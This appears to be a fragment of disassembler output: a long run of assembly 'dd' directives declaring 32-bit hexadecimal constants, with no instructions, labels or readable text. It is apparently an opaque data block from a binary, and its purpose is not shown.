		dd 7C05F5E2h, 17F958FEh, 29AFF0C6h, 5A83B79h, 2B859990h
		dd 0B8CDAB5Eh, 24736760h, 2C685DA6h, 0DA50E56h,	4BC1F7D3h
		dd 9E05B3DDh, 0D67D4329h, 48112C86h, 5916CDE4h,	0F0A9E368h
		dd 0AF244E7Dh, 0E2BA6674h, 0E17B1697h, 7F0174FDh, 81253753h
		dd 0C038E0CDh, 0FAF6F58h, 0A541FC2Ch, 1B2E901h,	0C2CB29C4h
		dd 0A1CC8CCEh, 44B61C5Fh, 0EAF06816h, 19B2660h,	1784FDAh
		dd 93B0AD6h, 0EDA93A48h, 1583FE39h, 3297E925h, 0EF883A12h
		dd 81496608h, 0DB55ADC7h, 2DFC3B2Ah, 4BE90840h,	48ED800Ch
		dd 200E0C1h, 0ED5F8505h, 1EE72D3Dh, 81514349h, 38112B2Eh
		dd 26E92801h, 0EBADDC66h, 0A5D8DF3Dh, 4B05C7DEh, 0F38264D7h
		dd 2FAD76F6h, 0CAEB4E54h, 9A4F6A3h, 8FA76CB1h, 46F227D0h
		dd 0FF8108D6h, 0E58134DBh, 0C8C0035Ah, 2D4A6F47h, 9960435Fh
		dd 483878Bh, 970A11Ch, 61EAC064h, 9B04F68Fh, 8CE9DE89h
		dd 58565D92h, 0AF8095FFh, 416226B5h, 0E9423D9Ch, 3BF2581Ah
		dd 25A575B6h, 6DFDDE62h, 99E30B75h, 2505B4C9h, 943E4033h
		dd 0F606A1Eh, 62768B0Ch, 78E2A063h, 64362F39h, 265E9961h
		dd 72680954h, 0E91D5B49h, 7D087610h, 0E9358105h, 69BD4E71h
		dd 0CF46EF07h, 0EBEAD077h, 1F4FB7FBh, 5ECBDFFDh, 2F6A3055h
		dd 0E8114F0Bh, 0D0DF07FFh, 5DD0EEF4h, 0E1EBBDE9h, 9F49A96Bh
		dd 6736436h, 0F4C0FCF7h, 250E7E29h, 2D01BD28h, 80582FAh
		dd 21050EECh, 0FF5BFE60h, 0CA737A0Ah, 1EEA6884h, 0E559A7E2h
		dd 0F94B4F58h, 0F794960Ah, 5912EF00h, 504602h, 986EADB8h
		dd 48D8F721h, 91532D05h, 81BEDE67h, 17446E4h, 0B77AADFDh
		dd 9601240Ch, 0DC584509h, 0A8AA6585h, 86BD01E9h, 17C5DF3h
		dd 0C2C7B23Fh, 71CC92E9h, 81B935A9h, 16B941Fh, 8682C301h
		dd 51AC3AE7h, 1899B783h
		dd 0BA522BC0h, 0A0094714h, 0E9D306D0h, 97360312h, 0C01D83E8h
		dd 0D1957C90h, 0FCE961F1h, 17C776BFh, 0FE9A11DFh, 1293ED5Dh
		dd 78D4087Dh, 68F08802h, 2C1BDDD4h, 96E6C2D3h, 48939920h
		dd 0F612FF08h, 577A0AD9h, 4C0F3C2Bh, 0EBE225DBh, 0CF804306h
		dd 0EF8224Bh, 1668511Ch, 5915BA01h, 6B4CB31h, 5C75827Eh
		dd 0F863F5F6h, 57C7B257h, 24588787h, 0B6B1E451h, 4BB24349h
		dd 0E91438FBh, 2C009F4Eh, 6C101CBBh, 76409F35h,	5201EDD1h
		dd 0B461D568h, 0C86A5A64h, 0F4ECF616h, 0EA09C412h, 0B471DCB6h
		dd 0C201078Fh, 0AF1D8650h, 0D38A7B0h, 75AA4BABh, 0E06E8455h
		dd 3D0F6805h, 4413A11Dh, 2F8CD4B4h, 3D70BD55h, 0FCBC2630h
		dd 5E80E9CDh, 0AD7A419Dh, 42086B3Eh, 50F5D0h, 1DBD9390h
		dd 801DA64Ch, 63A10A69h, 7F34E953h, 0A0AB9819h,	76267FBh
		dd 46804AB3h, 4F19FA8Bh, 96BAA946h, 0BBD7CB1Fh,	0E35A36B3h
		dd 0DC941838h, 8234331Ch, 0B97B9E05h, 0B5F8A5F3h, 0C22FE916h
		dd 8184ADD2h, 0CC0A1364h, 0A5BE1E1Ch, 477D808Dh, 1229E781h
		dd 101997Fh, 6E145E00h,	0DCBC2B15h, 2B42E9B1h, 29597A01h
		dd 37E455C3h, 4FFDBE34h, 687DD709h, 97917DDBh, 0BD333911h
		dd 0D1289750h, 9FFADD65h, 10414B6Eh, 58236853h,	806EA823h
		dd 0BB71C86Ch, 610001E4h, 0E3814B0Fh, 4FC2733Eh, 4F3FE807h
		dd 0CB0247FCh, 3F8059D9h, 0C3122160h, 0C97C22D8h, 320D044Bh
		dd 0AAA785E9h, 0E34F8534h, 0AE12BD56h, 8B0176BBh, 2BB16851h
		dd 0E2F5CD99h, 0DA121137h, 5FE1B35Bh, 58D49DB2h, 305F4F01h
		dd 2E22E902h, 0FD87ED81h, 0E12AEFC9h, 607740FEh, 61741E0h
		dd 4FECF29h, 0C12A0BFCh, 0E8CE8117h, 364B5D3Bh,	6A0429ACh
		dd 162945CBh, 41FE99F0h, 9938826Fh, 0D6447105h,	35217F1h
		dd 0FE45BCC9h, 44FABCh,	37E087E9h, 0A0FE905Dh, 5A110F9Dh
		dd 3289B0AEh, 0B3847EAAh, 4005E808h, 62414E9Bh,	0FC3A1371h
		dd 0CF80A072h, 0E8EFE6AEh, 0C8FBE7C0h, 35E917C7h, 0B43CEEA3h
		dd 98983129h, 0F9F863BDh, 0CC3AF288h, 0D649D7D6h, 51D1122Dh
		dd 0A3D6BF9h, 7A5EF6DAh, 4EDE3349h, 5A7999E8h, 0C337A414h
		dd 25748D4Ch, 4408D548h, 0C80C3408h, 0C8BF5F2Eh, 0B7DC1776h
		dd 0D95BF066h, 23FE4E85h, 230906BDh, 0DB0BE468h, 4F7E3DDFh
		dd 82D9F905h, 80654915h, 90B7ADDh, 0E6C12F51h, 0EE05B272h
		dd 0BFE191FBh, 0B93B88F1h, 595A8939h, 1A98084Fh, 810D56Bh
		dd 0BD866269h, 0A0E08251h, 0A07D147Ah, 80AB96E2h, 0BE780458h
		dd 999BD32Ah, 1E678058h, 0AEC9CC28h, 30E0E635h,	510978Ah
		dd 0D8241E7Dh, 2D143F67h, 0E25F2F07h, 145DD92h,	511029Ah
		dd 9029CFh, 1ACD2A22h, 18C1595Fh, 201B8140h, 287FF92Ch
		dd 0FB33D809h, 1F0FACE7h, 2B063AEDh, 9379F8E9h,	86246007h
		dd 0DCB35E0Fh, 66623709h, 0BA2C947Fh, 1E054400h, 144BDE4Fh
		dd 72DF001h, 0CF84E909h, 5DEE4D5Ah, 5CA56A9Ch, 42D5C281h
		dd 16676B90h, 0F733780Bh, 60210BD0h, 9F464E14h,	0C8EEA0E1h
		dd 0C65B6043h, 0CB2D3180h, 65AE1C70h, 8C355D48h, 4DCAE634h
		dd 54012727h, 27D5286h,	0D534874Bh, 4095DB14h, 4376464h
		dd 7AE9419Fh, 105B2EBh,	9519ED81h, 0E271D399h, 63B7B928h
		dd 8CE83DF7h, 0B025E903h, 3101E98Dh, 0AFAF126Bh, 47F072CDh
		dd 8F2B116h, 0B30E9FFAh, 19EA2F80h, 0C220AE06h,	5C254033h
		dd 0A5B7555Fh, 39A4E44Ah, 0E4F5E3CEh, 0DD4FA93h, 0BB0812BAh
		dd 552E0360h, 0C02AED16h, 760D2096h, 636AD96h, 53F107ECh
		dd 6F7BFD0Fh, 7AF7CAA0h, 0B80950F6h, 3602C69h, 4FFDF80Ch
		dd 7D81B764h, 9DE49B2Ah, 4007E819h, 0A7300808h,	0A7AF618Dh
		dd 24BDE9F0h, 16B55C2Dh, 59E1C991h, 2ED2BE5Dh, 6928E56Ah
		dd 84FF7h, 0E5D4BFE9h, 202A68CAh, 3D9C3956h, 6EA103C9h
		dd 0BBA0021Bh, 7DF26543h, 10448160h, 30801C4Bh,	60B2568Ah
		dd 53C00C0Eh, 0E09F6BDBh, 281FD686h, 2A0FC9Ch, 47225648h
		dd 0FDC1D901h, 75511250h, 0CEF38393h, 774F741Ch, 0FBF75E38h
		dd 0E9C52C96h, 0EE84E14Fh, 3CBB3DFFh, 96B5106Ch, 0BC28012h
		dd 21416C73h, 347FF968h, 55F9442Ah, 0FD4DB5D3h,	62CF36EAh
		dd 716BEE4Ah, 3D0C0FC1h, 8384220Fh, 931E9BAh, 84163FC3h
		dd 500B4AFCh, 93E40510h, 69485782h, 2EE20C23h, 0E16CAECh
		dd 1AF185Ah, 8729927Ch,	34780040h, 851E4E95h, 0F84EE17h
		dd 2817B3AAh, 799D5921h, 54B30213h, 11F56AF9h, 8F288BC7h
		dd 0A921E897h, 0E9C4D738h, 0ABD39464h, 417E158Eh, 823440D8h
		dd 16767E42h, 4CE1C905h, 950021F8h, 0B1FF112Ch,	2D07BF89h
		dd 0A3642905h, 403F6804h, 0EE3D06h, 47B84C2h, 74EDC14Eh
		dd 40185B6Eh, 0D2647DC9h, 7BEB2E3Ch, 40D0AF74h,	0CDFB5174h
		dd 15DE458h, 2065D848h,	0FD6A22Ch, 0A95A67ABh, 133209F6h
		dd 0A30695E9h, 0E8B34B04h, 6D3CABD7h, 87F9C523h, 101BA8DAh
		dd 0C4602AE4h, 7EE24132h, 0C9004759h, 0AF5576A3h, 0A117F02h
		dd 44325355h, 0C5EDA351h, 0A7E6C34Ch, 1252532h,	0C708DD84h
		dd 907AA15Eh, 0C0003E1Ah, 75E9580Ch, 3F66BD49h,	4222652Ah
		dd 0D9AC5D5Fh, 4451AB12h, 0BED7AE8Eh, 0FF496C9h, 0F55AAE0Ch
		dd 0A19BA93Bh, 8D6B3916h, 550B6B4Ah, 0B9B7F836h, 3E4C6BFAh
		dd 0E459B62Fh, 0A85B954Eh, 24263808h, 0BD370934h, 0DDC445D4h
		dd 17EF79D5h, 0ED6CA128h, 14B2C3Ch, 0C0FECC80h,	0DC7805E4h
		dd 0FC289D0Eh, 0E1885BC2h, 0A0DCC6B2h, 0A7C05A3Bh, 0F1542BAh
		dd 0D2F75409h, 16F8148Bh, 0B16EC19Dh, 3C7BFB35h, 0DAB7FEE7h
		dd 0A1FF5AEEh, 3CA93B85h, 6FD700B5h, 29246260h,	0C72768ECh
		dd 841A5928h, 0BA011419h, 0B842B82Dh, 7729B246h, 54028527h
		dd 0E09187D9h, 0E9526EE3h, 277D2E4Dh, 808E8158h, 0C80FFC5h
		dd 0E9D58607h, 0E59D913Ah, 12163E25h, 0CBEEB8EAh, 5A65FC14h
		dd 0D552405Eh, 530B2CD9h, 58ECDC54h, 97860D5Fh,	29C01998h
		dd 0D7EE8FCFh, 0E9B037FCh, 3691FD1Ah, 2BC032h, 6C86E181h
		dd 0EBF3FC4Eh, 18BE90Dh, 7E956899h, 8933AE66h, 325751D4h
		dd 40412620h, 2F09BD1Ah, 6226FE42h, 0AAAEC39Bh,	1BAF802Ch
		dd 982DCE18h, 29C1050Fh, 0BB4F7A3Dh, 3CFA8A0h, 42511E6Fh
		dd 3FC7DFF7h, 0F0C3AC0h, 0E917FD29h, 9B519AF3h,	8F68099Eh
		dd 5DA91A52h, 308D1B79h, 0C07A2F36h, 631D15E5h,	0CBCA2922h
		dd 20605911h, 4D13DAC2h, 0DA92097Ah, 0E18CD506h, 619FEA21h
		dd 0E2F7728Ah, 73A0D5EBh, 58F955C6h, 0F74C89E8h, 0EDBE7F2Ch
		dd 0AD07B596h, 6C9D118h, 5C1AC94Eh, 520E8FC0h, 527F95B6h
		dd 0BDC5C453h, 68508429h, 0B1C06525h, 68AC748Dh, 81A6F577h
		dd 4004EB80h, 0ED40F582h, 6365308Eh, 0FE4945B6h, 9FD7001h
		dd 2B176AC6h, 0CFD48C8Eh, 56090609h, 2800F7D6h,	0E929F526h
		dd 0EC195939h, 0F2805901h, 0C0880460h, 5A2A68D0h, 0B5243F77h
		dd 43123240h, 0F34B47A6h, 2FA54CF2h, 0B2EFBCCh,	1B8FDB4Fh
		dd 0AD4584CFh, 0A9D7C734h, 0A19610DCh, 5CEDC7BFh, 73B98210h
		dd 6523FD69h, 101A7020h, 54BCD0F6h, 0D22924D3h,	97036C55h
		dd 17513B89h, 0BD6FB49h, 0B857B04Eh, 3D9E434Ah,	0C83C8204h
		dd 90DE5BADh, 6A71B302h, 9265610h, 30FD2F68h, 2E21414Fh
		dd 570DA0h, 359C629Ah, 9269F4E9h, 60F30927h, 23864BFh
		dd 684365ADh, 9AFD1444h, 9D86C0ABh, 40E8983Ah, 0EA95BE66h
		dd 0FC83649Ah, 0C4B4F7h
		dd 797E355Ah, 2D016D97h, 5825DE98h, 2B71C201h, 0D83EA725h
		dd 88414627h, 0B4CC24A7h, 152FEA07h, 0F8E92BB3h, 0E908805Bh
		dd 0F543D408h, 0D46D4601h, 0BCE7C179h, 4DFD8038h, 0C9E9DBFBh
		dd 0D9A7A841h, 1159BF5Bh, 96474E62h, 73DCB5E2h,	0BFB9AE70h
		dd 133D53F3h, 9F46A102h, 4BD7089Dh, 0E7A2922Eh,	4E61661h
		dd 44E89FBh, 8A84AAA7h,	301A89BEh, 0E85BAF9Ah, 0F84BDEE2h
		dd 0D3A015EDh, 0B568010Ah, 5A2F6F56h, 0FDA1B06Fh, 4DCE2010h
		dd 54E1E50h, 0E9D6890Dh, 2B78A8E7h, 7F25AD5Eh, 0E9188C14h
		dd 8EC70BACh, 0C8DBB57Ah, 0D4CBF142h, 688B51ADh, 2DD54855h
		dd 0D5368BDCh, 55273B95h, 0E32D6396h, 0D035D6ECh, 385A0368h
		dd 2D1C12CBh, 6F094044h, 0AB123105h, 50EC324Fh,	54420741h
		dd 6B61FE45h, 37069B04h, 9E2F7582h, 0BDF6F07Fh,	1A2AB5C6h
		dd 80319B35h, 5D422544h, 0E4FA8774h, 82ECA111h,	56494E3Fh
		dd 9857A7FCh, 5B15173h,	28CAB099h, 1EECF3C8h, 0C7897FB7h
		dd 4097FC58h, 6E3E6D68h, 0B054404Ch, 0BAC59CE9h, 8BE2962Ch
		dd 9EFDB0ABh, 0A9534AD6h, 0DB4A8698h, 64E74E11h, 513149EFh
		dd 7E2F0D5Eh, 90320E8Ch, 125C38E9h, 5A527917h, 31DD7DABh
		dd 0FD2FECDDh, 0ED813D00h, 0E870E3B4h, 0A14FE9h, 2735B95Eh
		dd 9EB87534h, 0BC33517Dh, 0B1AC1A83h, 0E73FE2B4h, 108447F3h
		dd 50002109h, 46037DB8h, 0FE970178h, 2D5F9301h,	0FFB93ABFh
		dd 8986E9C2h, 2C0AB57h,	43154C22h, 891B743h, 27E606Eh
		dd 6C712649h, 28D76AC1h, 8015547Fh, 0AC99E439h,	0E3161DC4h
		dd 0C0159509h, 885A7E8Eh, 868294A8h, 3EBB910Fh,	6EACEF30h
		dd 0CE6884ECh, 0E54DF86Fh, 8E03E8ADh, 0D7E9F588h, 0FAAC194Bh
		dd 426E3113h, 0CC4E73DCh, 0DC2FC1F4h, 9DF68235h, 0AB6363D0h
		dd 5A05E1C2h, 5F92B7E2h, 5ED15046h, 8B698481h, 9D505A38h
		dd 0BD22598Dh, 364BC78Fh, 8F55FA09h, 7D3C29E4h,	2EE84F20h
		dd 8A27248h, 0E919A252h, 0C163F94Fh, 0BD035FD3h, 0BDFE0109h
		dd 0CA89F9D3h, 0E9139326h, 0A563F5FCh, 0F196F616h, 39E4B51h
		dd 0BE6944BAh, 83D1C248h, 5E10EDE0h, 106AFD52h,	0ED40027Bh
		dd 5EA8A84Ah, 0E4C64A55h, 0E30381C7h, 5D210D0h,	8FCBB843h
		dd 7C3A3014h, 256CEA0Ch, 273E475Ch, 8C6FD115h, 5AE6ECA4h
		dd 9FAD524Ah, 88189384h, 5A16404Ch, 36C55EF8h, 0FBD809BFh
		dd 8B2720F6h, 0A76DC55Dh, 575C7394h, 53D106DCh,	20EA46CFh
		dd 5B5E175Fh, 0E908BE9Fh, 0D10FB226h, 822F7EE1h, 75F48C54h
		dd 0FC4F68E6h, 82BA24BFh, 0E6FF7B4Ah, 7E53591h,	0C2058072h
		dd 58BD524Fh, 4925FA49h, 9A137760h, 82923710h, 0CC6D5CBBh
		dd 6A02892h, 0E455775Dh, 7271D493h, 594ED4Ah, 0F9C3FE8Eh
		dd 6A538705h, 0F201FE81h, 8026621h, 9240755Eh, 0A2C01A78h
		dd 62E05D35h, 9E43FE22h, 61C2DA9h, 0DA5F06FCh, 2CDB3A05h
		dd 0E3369AFh, 47C700ADh, 6A3F1920h, 0E316B4Ch, 93F496DDh
		dd 0B6E90478h, 14E1160Fh, 0F99DF47Bh, 515F2FC9h, 5DD90788h
		dd 63E9E16Ah, 0D177C239h, 50F64B4Bh, 171FEF81h,	0A52A1069h
		dd 0B1080400h, 74B93F19h, 0FD1EA4B4h, 145094BDh, 8229DFE9h
		dd 4A0FF581h, 71EBD817h, 54CFE212h, 2D0049AAh, 0E35F2125h
		dd 92EC5A02h, 0B229E9A8h, 0BB8BBEFEh, 56369A01h, 655EAF4Ah
		dd 1DF0A908h, 0F1CD8959h, 9E7E6C90h, 0E5373026h, 0B894953Eh
		dd 6F5750FBh, 3BE77901h, 5511F181h, 638933ECh, 78F044C8h
		dd 12C76B3Fh, 25042618h, 43EFBC3Bh, 5D1A65CAh, 8079808Dh
		dd 755A7E11h, 0E917A3A8h, 257B408Fh, 3CA870ABh,	930E353Ah
		dd 18FC3420h, 0ECD7624Eh, 9C270056h, 5B7ACB5Eh,	0CF1ECAACh
		dd 0AA41801h, 6855D929h, 0CB5D0843h, 762F9FE9h,	92B1B680h
		dd 0BEE13980h, 8917C19Dh, 7F09DEC9h, 0E8284B60h, 535C9290h
		dd 806A1F5Bh, 0C1FE7D87h, 5002F150h, 1FCC7288h,	0C15958E7h
		dd 0D7F601C7h, 3E417FFEh, 27E93BEFh, 31F9012Bh,	6EB768C3h
		dd 2DDD0C8Dh, 6466349Bh, 9CFC43Bh, 563A6859h, 5B26015h
		dd 800ADAF6h, 0D820F0EAh, 0F966520Bh, 0D70C1A5Eh, 14F0F9FEh
		dd 0B066D216h, 32C0CDFAh, 35E157BFh, 0BD7A0D4h,	7B520D14h
		dd 448FD29h, 3EBBFC08h,	1320D8EEh, 0C9A81BE9h, 0BF34985Bh
		dd 77BBCD4Ah, 166FC2C3h, 0ED403E59h, 0B0B1697Eh, 52F50669h
		dd 0A020D8E9h, 3312BB01h, 0DA316C8Bh, 7A29C03Ah, 7448D232h
		dd 3CAB0549h, 0F9017872h, 2B375845h, 4C18188Fh,	895F09E9h
		dd 2A1F65Ch, 7BFE6856h,	1E73985Fh, 0A5F25C0Ah, 1A9F516h
		dd 0C5E9726Fh, 78ED235Bh, 0AB18E437h, 647B82DBh, 160DFE5Fh
		dd 65009791h, 0BE69C89Dh, 7301FF09h, 7BC6DD5Ah,	0F145630Bh
		dd 3F6F0549h, 0D5310282h, 0CA4728Eh, 1B202401h,	46DBF57h
		dd 0E937940Fh, 0EAB9D56Ch, 2CEEDF90h, 0F3157DB8h, 5B01033Ch
		dd 785F2505h, 1FC9D406h, 7E294027h, 0C107202Ch,	0C7644754h
		dd 0D5A13E7Dh, 31DBF13Bh, 6025D36Ch, 592C0FEh, 35F72480h
		dd 5F1E324Ch, 0BC40614Ah, 9616BA52h, 0FF782Ch, 0DE1D51A1h
		dd 0CB4A8716h, 40BDADE0h, 0E70781D9h, 5C5F6B8Ch, 307BCF60h
		dd 0F01C48C3h, 12E330Eh, 0AFFE31E4h, 0EED23FA6h, 4AC202Ch
		dd 29011113h, 83A3C1DEh, 0FB219BD3h, 0DE4CD249h, 7EF681B1h
		dd 0ED4217CCh, 0FA122EEAh, 7668640Fh, 4CCBCBABh, 0E95305A5h
		dd 32B3371Ah, 8622BE96h, 969F04Ch, 0F6519BB9h, 0B1E12505h
		dd 0B932AECh, 0F311D125h, 1B1ACC2Eh, 78D15817h,	0A9DC4D09h
		dd 0EF45019Eh, 0D82BCE30h, 0C05ED91Ch, 0CFF8ED39h, 406CD4E1h
		dd 1E455426h, 1CC7C926h, 7E583B91h, 303FFBA1h, 1FB8E2DCh
		dd 5393F2Ch, 0FAD8AF02h, 8F93FE9Ah, 44C236C7h, 0E470577Eh
		dd 485329B6h, 5E12E8AAh, 0C53CED8Fh, 19A18568h,	9639B26Bh
		dd 0FB5A5AECh, 0EC4EDB2Ah, 54B94ED0h, 0BFD801C4h, 33258344h
		dd 6DC2810Eh, 44D6D743h, 8819228h, 0CB62F95Fh, 0DF5B482Dh
		dd 0B2FA2807h, 2E55ACADh, 0B2F1463h, 100281C2h,	0BD585AA7h
		dd 78F3B2ECh, 0B753098Eh, 4DF8938h, 998106FEh, 0E8E38685h
		dd 69BBE950h, 817574DFh, 23DD0511h, 47785CF9h, 41B8E0A7h
		dd 0DCCA6A18h, 7B24072Dh, 5F757B02h, 0FF8B574Bh, 0AB3CAA48h
		dd 11ACAFD3h, 675B324Bh, 9E77B7Dh, 7F9A2D77h, 79C1EED6h
		dd 0E109011Bh, 4F302CC6h, 701052E8h, 0EBB70BE0h, 0EC750D30h
		dd 5F060EDFh, 0F807E62Ch, 12204A04h, 0CFAA507Fh, 0B3E52716h
		dd 2010519Eh, 3A1973C7h, 0A9C82BF0h, 0B73FA3C2h, 0F2AB0BB0h
		dd 37C5F5Eh, 1C1D62Fh, 5517D665h, 0B54FCFE9h, 7F7771ABh
		dd 0C6FE00CAh, 23EE2780h, 2E49CBF8h, 3CA04A24h,	0EBE67FD0h
		dd 17F6EA60h, 0CCF0880Fh, 7B7DE932h, 4B02EA99h,	603A0A4Ah
		dd 0BDF82685h, 24DCFE12h, 812DCADh, 7827D946h, 0BFB12059h
		dd 0EF205A12h, 1443E2CDh, 0F6B39FCDh, 62C2D30h,	2BB5A646h
		dd 0E9599877h, 81F49A4Dh, 6978EBDh, 22681610h, 2FD5C2C5h
		dd 0D2D36409h, 10C27794h, 0EF8BF41Fh, 0E7849854h, 819300C9h
		dd 3E88EFEBh, 5710DB0Ah, 77267EFBh, 68C14638h, 312A32AFh
		dd 33617C16h, 0C80AD4D4h, 0DD7625DEh, 6685DF25h, 0D6888007h
		dd 55C174Eh, 1D584C07h,	0CC3F8D09h, 25E02061h, 6DA3E6D1h
		dd 23DB4BDFh, 97600C3Ch, 1E13B31Bh, 0D51355A7h,	0C9B7F35Ah
		dd 0E10FFC3h, 0B8055047h, 749A1894h, 0D021D3FAh, 7A53E591h
		dd 0EDECEFB0h, 0A7715002h
		dd 31356840h, 8C7058FDh, 0FDDB5839h, 50B57690h,	0F6032775h
		dd 0EC7E05Eh, 0B9166AAEh, 626D3103h, 0E5F3B10Fh, 9FF54F1h
		dd 0FC5A6418h, 0FD0D9878h, 1887FE27h, 9A17FFE4h, 0BF4740BBh
		dd 0C8089603h, 0E2FD095Fh, 0A71F5EAEh, 0A290E578h, 8FD06552h
		dd 5844C954h, 685F126Fh, 49D0B45Ch, 9617B767h, 44BC9072h
		dd 629084h, 0E6813546h,	72545C3Bh, 101B209Fh, 909E1CCFh
		dd 185995DCh, 0B54C76ADh, 0DC520008h, 2D319F2Ch, 0A2630B00h
		dd 59EA052Bh, 17C1FDBh,	0F90728D0h, 0B2E91140h,	0E3C3C00Dh
		dd 21BB079Bh, 0AB0B1E90h, 85314946h, 6CAB6800h,	0B1586A1Ch
		dd 0F4FAF4E4h, 906B0957h, 53877D12h, 0BE2545F0h, 6E87E080h
		dd 0C14C12F9h, 2551DE1h, 24D9EDCEh, 0B1243B74h,	0A16B3B18h
		dd 0C5ADC05Fh, 2BF75645h, 19206892h, 0AFDC9F78h, 4EBE9056h
		dd 7949C896h, 0F7EE4AB2h, 406721FCh, 7581C767h,	0E57E46CCh
		dd 0E9080152h, 0B07B45B3h, 0CA418FEAh, 0ED87D360h, 0F2E7B42Bh
		dd 0A1CC4A4Bh, 8C771383h, 8F9AAD36h, 0F675581Fh, 92EC1753h
		dd 12D5F2BFh, 58A1D6E9h, 686E202Eh, 799D76F6h, 0C7B008D7h
		dd 0F62D022Ch, 72027117h, 63E9C4FAh, 555C47D2h,	0C3813079h
		dd 28F609A3h, 0BD49F130h, 2FF334A0h, 0E3B5113h,	0E4562D87h
		dd 0E40BD64Fh, 4D9652A9h, 0BD195327h, 0B99CF192h, 18C61795h
		dd 0AC20F991h, 0FED2F600h, 0A80C239h, 0AFD13009h, 0EF993C19h
		dd 0F9AC06C4h, 62CF7D8h, 1A4B490h, 0CA059EFAh, 1EC877BCh
		dd 70A26682h, 5D6D9D08h, 679F95A0h, 5990A7F1h, 81C04192h
		dd 294C74EBh, 0DA893E37h, 0FF4288AFh, 0D5746AFDh, 3730726Ch
		dd 1AB90A46h, 60992515h, 55FA4B78h, 0C4011C2Dh,	4A389884h
		dd 1B23247Fh, 0C5B904A9h, 0AA792001h, 8490A609h, 0E3C57789h
		dd 4748BE30h, 0B32B8D6h, 28B6E9CBh, 823FBB79h, 54E36A22h
		dd 8DA07D58h, 8DD69223h, 0AD1F4597h, 257D9B29h,	19908DA7h
		dd 0E630DB8h, 459517C5h, 40890B56h, 0E2531BD6h,	0E0A40989h
		dd 0ED13BEA2h, 0A44A61DEh, 2A5BE957h, 78BA9C03h, 0BC0BB329h
		dd 0FA8C2DBFh, 130ACC4Ah, 2E1E4298h, 9D4AD04h, 0D329B7FAh
		dd 6D3D15FDh, 0DEBE1A60h, 0FE5ED9F6h, 0A84E05ABh, 4E50B296h
		dd 6B5470B2h, 6BB341A7h, 0B2F35700h, 0B0CA4042h, 441B139Eh
		dd 0D0A61607h, 2AB0BFD6h, 784FEA27h, 7F343FD9h,	482816h
		dd 6660627Ah, 0F8EED0F7h, 73A52E12h, 0A1541104h, 72D90107h
		dd 5C597D64h, 43A21444h, 6535249Ch, 0E4C9F809h,	0BBA31A31h
		dd 0E784316Fh, 991B9D4Bh, 144222A5h, 0CEB90012h, 4B3AC91Eh
		dd 92C8DD29h, 0E6A3C01h, 0C02E0FE1h, 98CE816Bh,	50BC1F13h
		dd 0F613CCBFh, 3C39CC0Ah, 0C80DC413h, 47118FEh,	0B5B5FC3Ah
		dd 0CB18140Bh, 43088002h, 5F6FB82Dh, 38444CCh, 86590F55h
		dd 0C270Bh, 0B652722Ch,	1C68078h, 0F74C2DB0h, 0FCC3A60Bh
		dd 28EC9ED4h, 0D8612764h, 75729D7Ch, 59E91B98h,	0C8D56C54h
		dd 45EC0505h, 9A0472C1h, 0C21E58D2h, 1E3A61C5h,	704CECAh
		dd 30D8AE5Ah, 0F87D9AE0h, 939FDE5Dh, 6891C00Dh,	98B778C2h
		dd 609BDABh, 0BA742F2Eh, 91980B0Dh, 0E6C1F680h,	701A011Ch
		dd 2F8ED1D4h, 58A10771h, 22ABFDC5h, 5709101Ch, 0D8CCF06Eh
		dd 45EF7B76h, 0B0F28719h, 0C0502C22h, 69D008E8h, 540604E0h
		dd 5C09EFA4h, 582C6A5Eh, 0E10783A6h, 0C92A198Dh, 989860CFh
		dd 82983ABDh, 59CCE47Eh, 585797BDh, 0EB3161B4h,	0F61CC97h
		dd 3081A05h, 0D210EA32h, 685B0907h, 0B1E65F69h,	70B3F2A1h
		dd 6C0BC6BFh, 6D74AEEh,	0ED5DFAF1h, 7C23ED3Eh, 72344E25h
		dd 0F8055F44h, 1E68806Ch, 9B3BC518h, 712113A6h,	2BACE9AEh
		dd 4D45E304h, 0C6019AC2h, 786E0BD2h, 2300543Ch,	1A4763DCh
		dd 0FF2C9498h, 2F241057h, 64A40FBFh, 35005337h,	97E52699h
		dd 1089F9D1h, 1A0C4914h, 6630120Ch, 90CB2819h, 6791181Ch
		dd 83AE424Bh, 7615B62Fh, 0BCF89F1h, 55A0FC64h, 21804D47h
		dd 6BBD99D1h, 1ADF10DDh, 6225046Ah, 0FD0F4D68h,	2B22003h
		dd 0A71BF57h, 0C55C1EEBh, 97282D53h, 6F2808D3h,	7729B040h
		dd 0CAEC2CFAh, 0D601628Bh, 40E57340h, 9473D725h, 0E951098Ch
		dd 8C566EB7h, 97966440h, 0FB893C05h, 0C8F926FFh, 556D825Bh
		dd 8DF75A19h, 0DFC8D317h, 0BA20C0EAh, 7CE771A9h, 0D55A68F8h
		dd 99E0EFCh, 94F74B41h,	5B73F81Dh, 9F91E2D0h, 0D4576B12h
		dd 0DAB60EABh, 0D37C4E7Ah, 0D3A20209h, 0A07CA769h, 0A41F128Ah
		dd 679619BBh, 4180BA4Fh, 0C5285866h, 5109B252h,	5F72F280h
		dd 0F8C62202h, 3CCBECF2h, 0B61ECCB5h, 329E2C59h, 0D17FD66Fh
		dd 0FC30962Ah, 0B45001AAh, 0C58CE96Eh, 7C293E89h, 5F901A75h
		dd 61E5F6A9h, 45EC291Fh, 0B958A750h, 46F40315h,	9DDA2AD8h
		dd 5E97B758h, 85EF366h,	800376F0h, 5E4BF231h, 0AA1842A9h
		dd 0C2F55D84h, 20D07720h, 5B0FAFCDh, 24D8215Dh,	75BF61D7h
		dd 20761D95h, 87D7F70Bh, 1520FDF9h, 0CD6E4FC7h,	0B1006490h
		dd 2922F218h, 4E9FE9F9h, 0D6208C95h, 4501570Ah,	35A89131h
		dd 62ABFD5Eh, 67D4D9E6h, 708B7E2Dh, 0FB5A29E9h,	681D8EA6h
		dd 94F1E5FDh, 6E0C0B6Bh, 60F5F6FCh, 87F717D4h, 15504C25h
		dd 0F91284ABh, 28A8E648h, 8CF2912h, 4B16F2AEh, 27055BA0h
		dd 2580F702h, 4F5AD721h, 4E5F687Fh, 410C6A3h, 662924A1h
		dd 7171D60Ch, 0D3FB0FF1h, 0A4660774h, 0E57735D0h, 0CE9F7068h
		dd 67FFE107h, 0D5C2C02Eh, 0B53E0248h, 88137FAh,	0E4423A5Dh
		dd 7443E368h, 573C62ADh, 1317DE6Ch, 1904396Ch, 0C13D695h
		dd 641C3275h, 38956C1h,	0A3F4D6Fh, 0C08C2ABh, 359B1BE9h
		dd 669FB609h, 0A95DF9B4h, 6DD01F85h, 0D9215E26h, 0A83764C1h
		dd 31EC8253h, 0F86EE19Ah, 0D1BEF518h, 0AE0AD6h,	0E46239BAh
